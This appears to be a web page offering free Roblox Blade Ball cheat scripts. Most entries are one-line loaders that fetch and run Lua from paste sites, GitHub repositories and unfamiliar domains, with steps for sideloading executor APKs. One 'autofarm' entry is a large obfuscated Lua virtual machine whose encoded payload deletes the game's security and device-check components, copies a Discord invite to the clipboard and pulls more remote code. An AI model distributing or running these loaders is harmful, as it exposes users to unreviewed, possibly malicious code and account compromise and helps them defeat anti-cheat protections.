Blade Ball Scripts

Get Blade Ball Script completely free, you can copy directly and paste it in your executor, we have given lots of Blade ball scripts.

Are you tired of encountering to survive and score high in Roblox Blade Ball? Do you wish to automate many tasks, unlock new content, and get better scores? Make use of these Blade Ball scripts!

These Blade Ball scripts can be your powerful helpers that can make the game smooth for you. They can automate tasks like dodging the homing ball, upgrading abilities, and earning legendary skins. Here is a database of working Blade Ball scripts that can aid you improve your game.

This a very popular game on Roblox with more than 4M+ likes and 2.9B+ visits. Blade Ball is a super cool game where you have to dodge a fastball that follows you around! You obtain awesome powers to aid you and can make them even cooler.

The more you practice, the better you obtain, and you can show off with cool skins for your arms. It’s all about being fast and smart to win. Well, these scripts are very popular among Roblox players because they aid you in finishing tasks very smoothly in games.

If you have just started playing Blade Ball, it is likely that you are looking for Auto Partty script to survive in the game.

Notably, Auto Parry is not the only script that can be used to exploit Blade Ball. There are plenty of scripts that you can run right now.

Here we will not only share with you a list of all Blade Ball scripts but also explain how to run them using a Roblox Executor.

Just before we plunge into the warm depths of this article, know what is Blade Ball.

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What is Blade Ball?

Blade Ball is one of the most popular Roblox games around .The fast and furious adventure is like a cross among dodgeball and battle royale. Its rules are simple. When players enter the playing field, the ball spawns and immediately begins to follow one of them around. In order to survive, this person has to hit the ball, making it fly even smoother in the direction in which it was hit.

Without any further ado, let’s get started:

All Blade Ball Scripts (2024)

Unlike other websites or publishers, we have provided all Blade Ball scripts here. Yes, you don’t need to click on any Download button or visit spammy websites to get a desired script.

You can copy your favorite Blade Ball Script from here:

Auto Parry:

loadstring(game:HttpGet(“https://paste.gg/p/anonymous/1734a4ee207844b994df2f36157afacd/files/1e79ac12fc8a47ef8263d5e9d43b7137/raw”))()

Close Combat:

loadstring(game:HttpGet(“https://raw.githubusercontent.com/kidshop4/scriptbladeballk/main/bladeball.lua”))()

Anti Cheat:

loadstring(game:HttpGet(‘https://angxlzz.dev/azure.lua’))()

Wizard Hub:

G.Setting = {
Main = {

[“AutoParry”] = true,

[“EnabeldFpsBoost”] = true,

— Spam Parry

[“SpamParry”] = true,

[“SpamKey”] = “Z”, — hold Z to spam parry

— Auto Play

[“AutoPlay”] = true,

[“SelectMode”] = “TP”, — TP , AI (test)

— Show Part

[“ShowPart”] = true,

[“ColorPart”] = Color3.fromRGB(0, 194, 36)

}

}

loadstring(game:HttpGet(“https://raw.githubusercontent.com/RevizxDD/kak/main/script.lua“))()

Inferno Hub:

loadstring(game:HttpGet(“https://raw.githubusercontent.com/1f0yt/community/main/infernofixed”))()

Bedol Hub:

_G.UI_Size = 200

loadstring(game:HttpGet(“https://raw.githubusercontent.com/3345-c-a-t-s-u-s/-beta-/main/AutoParry.lua”))()

Lumin Head Loader

loadstring(game:HttpGet(‘https://raw.githubusercontent.com/No6No6No7yt/Lumin-Hub/main/BladeV4.lua’))();

Auto Block Red Circle

— Auto-Block With Red Circle: loadstring(game:HttpGet(“https://raw.githubusercontent.com/1f0yt/community/main/Circle”))() — Click “X” To Hit (for close battles)

Maru Hub Scripts

loadstring(game:HttpGet(“https://raw.githubusercontent.com/multiversal123/Azelf-Hub/main/0bladeball”))() loadstring(game:HttpGet(“https://raw.githubusercontent.com/LOLking123456/Blade/main/Ball”))()

Other Scripts

loadstring(game:HttpGet(‘https://raw.githubusercontent.com/OfficialHi/AstroHub/main/Loader/Main.lua’))() loadstring(game:HttpGet(“https://raw.githubusercontent.com/TypZeroSVK/Scripts/main/BladeBall%20Beta-1.0.0”))()

RV Parry

loadstring(game:HttpGet("https://code4zaa.xyz/script/script-loader.lua"))()

Drop Farm

_G.drop = true -- true/false
loadstring(game:HttpGet("https://raw.githubusercontent.com/Bac0nHck/Scripts/main/Blade%20Ball%20%5BDrop%20Farm%5D"))()

Reaper Hub

loadstring(game:HttpGet("https://raw.githubusercontent.com/AyoReaper/Reaper-Hub/main/loader.lua"))()

Farm Socks

_G.socks = true -- true/false
loadstring(game:HttpGet("https://shz.al/~farm_socks"))()

X7 Parry

https://raw.githubusercontent.com/Code4Zaaa/X7Project/main/Game/AutoParryOnly

Discrete Autofarm [HIGH WINRATE]

-- GET KEY HERE: https://mikecash.co/key/1c55834a1b31

--[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]

local StrToNumber = tonumber;
local Byte = string.byte;
local Char = string.char;
local Sub = string.sub;
local Subg = string.gsub;
local Rep = string.rep;
local Concat = table.concat;
local Insert = table.insert;
local LDExp = math.ldexp;
local GetFEnv = getfenv or function()
	return _ENV;
end;
local Setmetatable = setmetatable;
local PCall = pcall;
local Select = select;
local Unpack = unpack or table.unpack;
local ToNumber = tonumber;
local function VMCall(ByteString, vmenv, ...)
	local DIP = 1;
	local repeatNext;
	ByteString = Subg(Sub(ByteString, 5), "..", function(byte)
		if (Byte(byte, 2) == 79) then
			repeatNext = StrToNumber(Sub(byte, 1, 1));
			return "";
		else
			local a = Char(StrToNumber(byte, 16));
			if repeatNext then
				local b = Rep(a, repeatNext);
				repeatNext = nil;
				return b;
			else
				return a;
			end
		end
	end);
	local function gBit(Bit, Start, End)
		if End then
			local Res = (Bit / (2 ^ (Start - 1))) % (2 ^ (((End - 1) - (Start - 1)) + 1));
			return Res - (Res % 1);
		else
			local Plc = 2 ^ (Start - 1);
			return (((Bit % (Plc + Plc)) >= Plc) and 1) or 0;
		end
	end
	local function gBits8()
		local a = Byte(ByteString, DIP, DIP);
		DIP = DIP + 1;
		return a;
	end
	local function gBits16()
		local a, b = Byte(ByteString, DIP, DIP + 2);
		DIP = DIP + 2;
		return (b * 256) + a;
	end
	local function gBits32()
		local a, b, c, d = Byte(ByteString, DIP, DIP + 3);
		DIP = DIP + 4;
		return (d * 16777216) + (c * 65536) + (b * 256) + a;
	end
	local function gFloat()
		local Left = gBits32();
		local Right = gBits32();
		local IsNormal = 1;
		local Mantissa = (gBit(Right, 1, 20) * (2 ^ 32)) + Left;
		local Exponent = gBit(Right, 21, 31);
		local Sign = ((gBit(Right, 32) == 1) and -1) or 1;
		if (Exponent == 0) then
			if (Mantissa == 0) then
				return Sign * 0;
			else
				Exponent = 1;
				IsNormal = 0;
			end
		elseif (Exponent == 2047) then
			return ((Mantissa == 0) and (Sign * (1 / 0))) or (Sign * NaN);
		end
		return LDExp(Sign, Exponent - 1023) * (IsNormal + (Mantissa / (2 ^ 52)));
	end
	local function gString(Len)
		local Str;
		if not Len then
			Len = gBits32();
			if (Len == 0) then
				return "";
			end
		end
		Str = Sub(ByteString, DIP, (DIP + Len) - 1);
		DIP = DIP + Len;
		local FStr = {};
		for Idx = 1, #Str do
			FStr[Idx] = Char(Byte(Sub(Str, Idx, Idx)));
		end
		return Concat(FStr);
	end
	local gInt = gBits32;
	local function _R(...)
		return {...}, Select("#", ...);
	end
	local function Deserialize()
		local Instrs = {};
		local Functions = {};
		local Lines = {};
		local Chunk = {Instrs,Functions,nil,Lines};
		local ConstCount = gBits32();
		local Consts = {};
		for Idx = 1, ConstCount do
			local Type = gBits8();
			local Cons;
			if (Type == 1) then
				Cons = gBits8() ~= 0;
			elseif (Type == 2) then
				Cons = gFloat();
			elseif (Type == 3) then
				Cons = gString();
			end
			Consts[Idx] = Cons;
		end
		Chunk[3] = gBits8();
		for Idx = 1, gBits32() do
			local Descriptor = gBits8();
			if (gBit(Descriptor, 1, 1) == 0) then
				local Type = gBit(Descriptor, 2, 3);
				local Mask = gBit(Descriptor, 4, 6);
				local Inst = {gBits16(),gBits16(),nil,nil};
				if (Type == 0) then
					Inst[3] = gBits16();
					Inst[4] = gBits16();
				elseif (Type == 1) then
					Inst[3] = gBits32();
				elseif (Type == 2) then
					Inst[3] = gBits32() - (2 ^ 16);
				elseif (Type == 3) then
					Inst[3] = gBits32() - (2 ^ 16);
					Inst[4] = gBits16();
				end
				if (gBit(Mask, 1, 1) == 1) then
					Inst[2] = Consts[Inst[2]];
				end
				if (gBit(Mask, 2, 2) == 1) then
					Inst[3] = Consts[Inst[3]];
				end
				if (gBit(Mask, 3, 3) == 1) then
					Inst[4] = Consts[Inst[4]];
				end
				Instrs[Idx] = Inst;
			end
		end
		for Idx = 1, gBits32() do
			Functions[Idx - 1] = Deserialize();
		end
		return Chunk;
	end
	local function Wrap(Chunk, Upvalues, Env)
		local Instr = Chunk[1];
		local Proto = Chunk[2];
		local Params = Chunk[3];
		return function(...)
			local Instr = Instr;
			local Proto = Proto;
			local Params = Params;
			local _R = _R;
			local VIP = 1;
			local Top = -1;
			local Vararg = {};
			local Args = {...};
			local PCount = Select("#", ...) - 1;
			local Lupvals = {};
			local Stk = {};
			for Idx = 0, PCount do
				if (Idx >= Params) then
					Vararg[Idx - Params] = Args[Idx + 1];
				else
					Stk[Idx] = Args[Idx + 1];
				end
			end
			local Varargsz = (PCount - Params) + 1;
			local Inst;
			local Enum;
			while true do
				Inst = Instr[VIP];
				Enum = Inst[1];
				if (Enum <= 14) then
					if (Enum <= 6) then
						if (Enum <= 2) then
							if (Enum <= 0) then Stk[Inst[2]] = Env[Inst[3]]; elseif (Enum > 1) then
								Stk[Inst[2]]();
							else
								Stk[Inst[2]][Inst[3]] = Inst[4];
							end
						elseif (Enum <= 4) then if (Enum == 3) then local A = Inst[2]; local Results, Limit = _R(Stk[A](Stk[A + 1])); Top = (Limit + A) - 1; local Edx = 0; for Idx = A, Top do Edx = Edx + 1; Stk[Idx] = Results[Edx]; end else Stk[Inst[2]] = Inst[3]; end elseif (Enum > 5) then
							Stk[Inst[2]][Inst[3]] = Inst[4];
						else
							do
								return;
							end
						end
					elseif (Enum <= 10) then
						if (Enum <= 8) then if (Enum > 7) then
								local A = Inst[2];
								Stk[A](Stk[A + 1]);
							else
								local A = Inst[2];
								local T = Stk[A];
								for Idx = A + 1, Top do
									Insert(T, Stk[Idx]);
								end
							end
						elseif (Enum > 9) then
							local A = Inst[2];
							Stk[A] = Stk[A](Unpack(Stk, A + 1, Top));
						else
							local A = Inst[2];
							local T = Stk[A];
							for Idx = A + 1, Top do
								Insert(T, Stk[Idx]);
							end
						end
					elseif (Enum <= 12) then if (Enum == 11) then local A = Inst[2]; Stk[A](Stk[A + 1]); else local A = Inst[2]; Stk[A](Unpack(Stk, A + 1, Inst[3])); end elseif (Enum > 13) then
						Stk[Inst[2]]();
					else
						do
							return;
						end
					end
				elseif (Enum <= 21) then
					if (Enum <= 17) then
						if (Enum <= 15) then local A = Inst[2]; Stk[A](Unpack(Stk, A + 1, Inst[3])); elseif (Enum > 16) then
							Stk[Inst[2]] = Inst[3];
						else
							local A = Inst[2];
							Stk[A] = Stk[A](Unpack(Stk, A + 1, Inst[3]));
						end
					elseif (Enum <= 19) then if (Enum > 18) then
							Stk[Inst[2]] = Stk[Inst[3]][Inst[4]];
						else
							local A = Inst[2];
							Stk[A] = Stk[A](Unpack(Stk, A + 1, Inst[3]));
						end
					elseif (Enum == 20) then
						Stk[Inst[2]] = Stk[Inst[3]][Inst[4]];
					else
						Stk[Inst[2]] = {};
					end
				elseif (Enum <= 25) then
					if (Enum <= 23) then if (Enum == 22) then local A = Inst[2]; local Results, Limit = _R(Stk[A](Unpack(Stk, A + 1, Inst[3]))); Top = (Limit + A) - 1; local Edx = 0; for Idx = A, Top do Edx = Edx + 1; Stk[Idx] = Results[Edx]; end else local A = Inst[2]; Stk[A] = Stk[A](Unpack(Stk, A + 1, Top)); end elseif (Enum > 24) then
						local A = Inst[2];
						local Results, Limit = _R(Stk[A](Unpack(Stk, A + 1, Inst[3])));
						Top = (Limit + A) - 1;
						local Edx = 0;
						for Idx = A, Top do
							Edx = Edx + 1;
							Stk[Idx] = Results[Edx];
						end
					else
						Stk[Inst[2]] = Env[Inst[3]];
					end
				elseif (Enum <= 27) then if (Enum > 26) then
						local A = Inst[2];
						local B = Stk[Inst[3]];
						Stk[A + 1] = B;
						Stk[A] = B[Inst[4]];
					else
						local A = Inst[2];
						local B = Stk[Inst[3]];
						Stk[A + 1] = B;
						Stk[A] = B[Inst[4]];
					end
				elseif (Enum == 28) then
					Stk[Inst[2]] = {};
				else
					local A = Inst[2];
					local Results, Limit = _R(Stk[A](Stk[A + 1]));
					Top = (Limit + A) - 1;
					local Edx = 0;
					for Idx = A, Top do
						Edx = Edx + 1;
						Stk[Idx] = Results[Edx];
					end
				end
				VIP = VIP + 1;
			end
		end;
	end
	return Wrap(Deserialize(), {}, vmenv)(...);
end
VMCall("LOL!283O0003043O0067616D65030A3O0047657453657276696365030A3O005374617274657247756903073O00536574436F726503103O0053656E644E6F74696669636174696F6E03053O005469746C652O033O004C6F6703043O0054657874030B3O0065682044656C657465642003083O004475726174696F6E026O00144003043O0077616974026O00F03F03143O00536563757269747920762E332072656D6F76656403183O0072656D6F76696E6720736563727569747920747261636573026O33D33F031A3O007365637572697479203D206E6F742073656375726564204C4F4C029A5O99C93F03293O00596F752043616E204578656375746520416E7920426C6164652042612O6C20536372697074204E6F7703103O0053656375726974792052656D6F76656403253O0044657669636520436865636B65722052656D6F766564204C6F6164696E6720536372697074027O004003073O00446973636F726403443O004A6F696E204F757220446973636F7264202D20682O7470733A2O2F646973636F72642E2O672F2O55355A59466138665820636F7069656420746F20636C6970626F617264030C3O00736574636C6970626F617264031D3O00682O7470733A2O2F646973636F72642E2O672F2O55355A59466138665803113O005265706C69636174656453746F7261676503083O005365637572697479030B3O0052656D6F74654576656E7403073O0044657374726F79034O0003073O00506C6179657273030B3O004C6F63616C506C61796572030D3O00506C617965725363726970747303063O00436C69656E74030D3O00446576696365436865636B6572026O000840030A3O006C6F6164737472696E6703073O00482O7470476574034C3O00682O7470733A2O2F7261772E67697468756275736572636F6E74656E742E636F6D2F2O3334352D632D612D742D732D752D732F2D626574612D2F6D61696E2F4175746F50612O72792E6C756100A03O00124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600070030010003000800090030010003000A000B2O000C3O0003000100124O000C3O0012040001000D4O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O000300300100030006000700300100030008000E0030010003000A000B2O000C3O0003000100124O000C3O0012040001000D4O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O000300300100030006000700300100030008000F0030010003000A000B2O000C3O0003000100124O000C3O001204000100104O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600070030010003000800110030010003000A000B2O000C3O0003000100124O000C3O001204000100124O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600070030010003000800130030010003000A000B2O000C3O0003000100124O000C3O001204000100104O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600070030010003000800140030010003000A000B2O000C3O0003000100124O000C3O001204000100104O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600070030010003000800150030010003000A000B2O000C3O0003000100124O000C3O001204000100164O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600170030010003000800180030010003000A000B00122O000400193O0012040005001A4O0003000400054O000700033O00012O000C3O0003000100124O000C3O0012040001000D4O000B3O0002000100124O00013O00201B5O00020012040002001B4O00103O000200020020145O001C0020145O001D00201B5O001E2O000B3O0002000100124O00013O00201B5O00020012040002001B4O00103O000200020020145O001C0020145O001F00201B5O001E2O000B3O0002000100124O00013O00201B5O00020012040002001B4O00103O000200020020145O001C00201B5O001E2O000B3O0002000100124O00013O00201B5O0002001204000200204O00103O000200020020145O00210020145O00220020145O00230020145O002400201B5O001E2O000B3O0002000100124O000C3O001204000100254O000B3O0002000100124O00263O00122O000100013O00201B000100010027001204000300284O0016000100034O000A5O00022O000E3O000100012O00053O00017O00", GetFEnv(), ...);
local link = "https://raw.githubusercontent.com/Amphvptere/otherrandomStuff/main/BladeBallAuto"
loadstring(game:HttpGet(link))()

How to Run Blade Ball Script?

The process of running or executing Blade Ball scripts is pretty easy. However, if you don’t know the process then follow the steps written below:

  • First, download Delta executor on your Mobile.
  • Once downloaded, go to Download folder and then tap on the Hydrogen APK.
  • Now, follow the on-screen instruction to install it on your device.
  • Once installed, launch Delta Executor and login to your Roblox account.
  • Once logged in, search for Blade Ball and then click on the Play button to load the game.
  • Once the game is loaded, tap on the Hydrogen GUI and then go to the Script Hub.
  • There, paste the desired Blade Ball script.
  • After that, click on the Execute button.
  • That’s it.

All Blade Ball Scripts

FAQs

In the FAQ section, we try to answer every question asked by gamers.
Q. How to Execute a Blade Ball Script?
Ans: Download free Roblox exploit and/or script executor, for example, Krnl, Synapse, or JJSPloit. To make use of the script executor in Blade Ball, open it and paste the specified scripts into the provided box. Then Press the Execute/Inject button to run them. That’s it.
Q. What is Blade Ball Script?
Ans: Blade Ball Script are automation codes designed to unlock resources and functionalities within the game. They enable players to automate actions like resource collection, expertise enhancements, and more, ultimately enhancing their gaming journey.
Q. What about the compatibility of scripts?
Ans: Each of these Blade Ball scripts are compatible with all sorts of devices that can handle Roblox. But we’ve found that the majority of scripts run better on desktops, so it’s worth having a squiz at that!
Q. How frequently are scripts updated? 
Ans:  We update these scripts frequently to make sure that they remain compatible with the most recent version of the game. You can stay informed by checking back daily for the most recent updates.
Q. Can I get banned for using scripts?
Ans: While some Roblox games permit the make use of scripts, it is important to compete fair and follow Roblox guidelines to avoid issues. Be sure to make use of scripts responsibly and adhere to the established rules for a safe and positive gaming experience. Scripts modify games and add features. They can be fun or problematic. Few games ban scripts and their users. Check the game and server rules prior to using scripts.
Q. How to find more Blade Ball scripts?
Ans: Bookmark this page to stay in the twist with the new Blade Ball script announcements and current updates. That’s it for this article! I hope you like this article. If you have any questions, please feel free to comment below. Did you find this Blade Ball scripts list useful? Leave your thoughts below!